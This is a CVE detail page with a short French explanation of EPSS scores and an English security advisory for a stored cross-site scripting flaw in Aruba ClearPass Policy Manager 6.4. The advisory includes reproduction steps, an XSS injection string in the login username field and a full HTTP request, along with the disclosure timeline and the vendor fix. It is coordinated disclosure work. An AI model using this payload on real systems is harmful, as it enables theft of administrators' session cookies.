CVE-2015-1389 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

=============================================================================== title: ClearPass Policy Manager Stored XSS case id: CM-2014-01 product: Aruba ClearPass Policy Manager vulnerability type: Stored cross-site script severity: Medium found: 2014-11-24 by: Cristiano Maruti (@cmaruti) =============================================================================== [EXECUTIVE SUMMARY] The analysis discovered a stored cross site scripting vulnerability (OWASP OTG-INPVAL-002) in the ClearPass Policy Manager. A malicious unauthenticated user is able to inject arbitrary script through the login form that may be rendered and triggered later if a privileged authenticated user reviews the access audit record. An attack can use the aforementioned vulnerability to effectively steal session cookies of privileged logged on users. [VULNERABLE VERSIONS] The following version of the Aruba ClearPass Policy Manager was affected by the vulnerability; previous versions may be vulnerable as well: - Aruba ClearPass Policy Manager 6.4 [TECHNICAL DETAILS] It is possible to reproduce the vulnerability following these steps: 1. Open the login page with your browser; 2. Put the "><img src=x onerror=alert(1337)><" string in the username field and fill in the password field with a value of your choice; 3. Submit the form; 4. Login to the application with an administrative user: 5. Go to "Monitoring -> Live monitoring -> Access tracker" to raise the payload. Below a full transcript of the HTTP request used to raise the vulnerability HTTP Request ------------------------------------------------------------------------------- POST /tips/tipsLoginSubmit.action HTTP/1.1 Host: 10.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: https://10.0.0.1/tips/tipsLoginSubmit.action Cookie: <A VALID UNAUTH COOKIE> Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 58 username="><img src=x onerror=alert("0wn3d")><"&password=test ------------------------------------------------------------------------------- A copy of the report with technical details about the vulnerability I have identified is available at: https://github.com/cmaruti/reports/blob/master/aruba_clearpass.pdf [VULNERABILITY REFERENCE] The following CVE ID was allocated to track the vulnerability: - CVE-2015-1389: Stored cross-site scripting (XSS) [DISCLOSURE TIMELINE] 2014-11-24 Vulnerability submitted to vendor through the Bugcrowd bounty program. 2014-12-09 Vendor acknowledged the problem. 2014-12-10 Researcher requested to publicly disclose the issue. 2015-02-16 Vendor released a fix for the reported issue. 2015-02-09 Vendor asked to hold-on for the public disclosure. 2015-02-22 Vendor postponed the public disclosure date 2015-02-22 Public coordinated disclosure. [SOLUTION] Aruba release an update to fix the vulnerability (ClearPass 6.5 or later). Please see the below link for further information released by the vendor: - http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2015-006.txt [REPORT URL] https://github.com/cmaruti/reports/blob/master/aruba_clearpass.pdf